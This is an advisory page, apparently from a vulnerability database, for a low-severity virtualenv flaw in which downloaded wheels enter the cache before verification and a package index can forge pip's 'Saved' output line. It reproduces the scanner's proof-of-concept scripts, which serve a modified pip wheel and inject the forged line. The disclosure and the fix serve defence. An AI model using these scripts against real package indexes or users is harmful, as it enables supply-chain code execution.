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CVE-2026-113714 — virtualenv

Fix: pypa/virtualenv@7babec6

CVE-2026-113714 is a CWE-354 vulnerability in virtualenv. A fix is available for virtualenv — see the affected versions and patch details below.

virtualenv: Downloaded wheel selection and caching precede verification

Also known asGHSA-494p-63j8-28p3
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍virtualenv

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Download selection and promotion into the reusable wheel cache.

Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.

Affected code

The relevant 21.14.8 source is in wheel download and digest check.

Mechanism

download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again.

Reproduction and evidence

The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance.

Attack sequence

sequenceDiagram
    participant I as Configured index
    participant P as pip download
    participant C as wheel/house cache
    participant V as virtualenv digest check
    participant N as New environment
    I->>P: modified wheel and forged Saved line
    P->>C: write modified wheel directly
    P-->>V: stdout names genuine bundled wheel
    V->>V: hash genuine wheel and accept
    V->>C: record modified wheel for reuse
    C->>N: seed modified pip without rehash
    Note over P,C: Even a rejected wheel can remain in the cache

Reproducer files

The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}"  # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index"  # the line index_serves_modified_pip.py adds to pip/__init__.py


def user_upgrades_seed_wheels_and_creates_env():
    # each case starts from an empty app-data
    shutil.rmtree(app_data, ignore_errors=True)
    shutil.rmtree(home / "env", ignore_errors=True)
    upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
    subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
    pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
    refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
    logged = []
    if update_log_of_pip.exists():  # a failed update writes no log
        logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
    return refusal, logged, pip_version.stdout.splitlines()


# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
    [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
    stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL,
    text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start"  # printed once bound

# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL  modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL  modified pip: update log of pip lists", logged)
print("CONTROL  modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)

# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)

# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")

repro.d/index_forges_saved_line.py

"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.

usage: index_forges_saved_line.py <index_dir>

Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""

import shutil
import sys
from pathlib import Path

# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"

index_dir = Path(sys.argv[1])

# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")

# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
    page.write(
        '<a href="/files/pip-100.0-py3-none-any.whl"'
        f' data-requires-python="&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;">pip-100.0-py3-none-any.whl</a>\n'
    )

repro.d/index_serves_modified_pip.py

"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.

usage: index_serves_modified_pip.py <index_dir>

pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""

import hashlib
import io
import sys
import zipfile
from pathlib import Path

ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'

index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"

genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
    for entry in genuine.infolist():
        content = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            content += ADDED_CODE
        modified.writestr(entry, content)

# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
    f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)

repro.d/pip.conf

[global]
index-url = http://127.0.0.1:8099/simple

repro.d/pypi_json_and_mirror.py

"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.

usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>

The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""

import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path

from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256

pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)

for project in ("pip", "setuptools"):
    releases, links = {}, []
    for filename, sha256 in BUNDLE_SHA256.items():
        name, version = filename.split("-")[:2]
        if name != project:
            continue
        shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
        releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
            metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
        requires_python = escape(metadata["Requires-Python"])
        links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
    (pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
    (index_dir / "simple" / project).mkdir(parents=True)
    (index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")

repro.d/virtualenv_with_local_pypi_json.py

"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.

usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>

Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""

import sys
from pathlib import Path
from unittest import mock

from virtualenv.__main__ import run_with_catch

pypi_dir = Path(sys.argv[1])


def pypi_json_api(url, context):
    assert url.startswith("https://pypi.org/pypi/") and context is None, url
    project = url.split("/")[4]
    return (pypi_dir / f"{project}.json").open("rb")


with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
    run_with_catch(sys.argv[2:])

Impact

A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.

Fix: PR #3430.

Known mitigation

After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIvirtualenvall versions21.14.9pip install --upgrade 'virtualenv==21.14.9'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for virtualenv, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update virtualenv to 21.14.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-113714 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Download selection and promotion into the reusable wheel cache. ## Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification m
O3 Security · Impact-Aware SCA

Is CVE-2026-113714 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-113714: virtualenv — Fixed in 21.14.9